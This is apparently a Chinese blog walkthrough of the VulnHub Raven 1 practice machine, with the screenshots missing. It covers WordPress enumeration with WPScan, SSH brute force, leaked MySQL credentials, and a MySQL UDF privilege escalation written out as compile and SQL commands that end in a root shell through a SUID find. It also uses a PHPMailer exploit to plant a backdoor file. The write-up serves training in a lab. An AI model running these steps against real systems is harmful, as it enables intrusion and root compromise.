仅供个人娱乐

靶机信息

Raven 下载地址:https://www.vulnhub.com/entry/raven-1,256/

一、主机探测

raven靶机

端口信息

raven靶机

目录扫描

raven靶机

80端口

raven靶机

根据页面开始搜寻有用的信息

raven靶机
raven靶机

得到信息

raven靶机

Wpscan漏洞利用

右上角BLOG ,会发现是 WordPress 系统。于是使用 WPScan 进行扫描

wpscan --url http://192.168.204.131/wordpress/  -ep -et -eu

-ep  枚举插件信息

-et  扫描主题

-eu  枚举用户

结果的到wordpress目录 用户等   用户有steven 和michael

raven靶机
raven靶机

发现靶机上的两个用户名:steven 和michael

使用ssh爆破  密码使用rockyou.txt

(重置虚拟机 ip改为 192.168.204.131)

raven靶机

将文件复制到root目录  并且解压

raven靶机
raven靶机

使用弱口令michael/michael 尝试登陆ssh

raven靶机

查看是否能用sudo提权,内核提权等等

raven靶机
raven靶机

一步一步    寻找有用信息

raven靶机

查看wp-config.php,发现mysql用户名以及密码 root/R@v3nSecurity

raven靶机

netstat -anpt
查看开放的端口,发现开放3306

raven靶机

进入数据库

root/R@v3nSecurity

raven靶机

信息收集

raven靶机
raven靶机
raven靶机

cmd5 破解

raven靶机

ssh登录

raven靶机

使用sudo python -c ‘import pty;pty.spawn("/bin/bash")’ 绕过限制,获得管理员权限

raven靶机

mysql udf 提权

ps -ef | grep mysql

ps -ef是以全格式显示当前所有的进程

grep 命令用于查找文件里符合条件的字符串

raven靶机

查看mysql udf漏洞的利用exp

raven靶机

进入kali apache的根目录

raven靶机

将文件复制到html目录

raven靶机

进行编译

gcc -g -c 1518.c

gcc -g -shared -Wl,-soname,1518.so -o 1518.so

raven靶机

靶机切换tmp目录
靶机wget下载       kali编译生成的1518.so

raven靶机

连接数据库

raven靶机

use mysql;

create table foo(line blob);

insert into foo values(load_file('/tmp/1518.so'));

select*fromfoo into dumpfile'/usr/lib/mysql/plugin/1518.so';

create function do_system returns integer soname'1518.so';

select*from mysql.func;

selectdo_system('chmod u+s /usr/bin/find');

exit

touch finn

find finn -exec"/bin/sh" \;

whoami

 

raven靶机
raven靶机
raven靶机
raven靶机

获得权限成功

打开http://192.168.204.131/vendor/

根据网页查找有用信息

raven靶机
raven靶机

searchsploit PHPMailer查看是否有漏洞,发现有漏洞利用脚本

raven靶机

复制到 /root

raven靶机

修改文件

raven靶机
raven靶机

(个人电脑问题,kali安装pip3,pip3 install requests-toolbelt)

脚本更名为 1.py   将脚本放置于/root

raven靶机

cd  /root
python3 1.py

raven靶机

访问http://192.168.204.131/contact.php

此时就会生成后门文件backlion.php

raven靶机

接着访问后门文件:http://192.168.204.131/backlion.php

raven靶机

进行监听 获取shell

raven靶机

相关文章:

  • 2021-10-31
  • 2021-07-03
  • 2021-07-21
  • 2021-05-12
  • 2021-11-30
  • 2021-06-23
  • 2021-05-19
  • 2021-09-16
猜你喜欢
  • 2021-10-25
  • 2021-08-06
  • 2021-07-06
  • 2021-12-28
  • 2021-09-18
  • 2021-07-16
  • 2021-07-21
相关资源
相似解决方案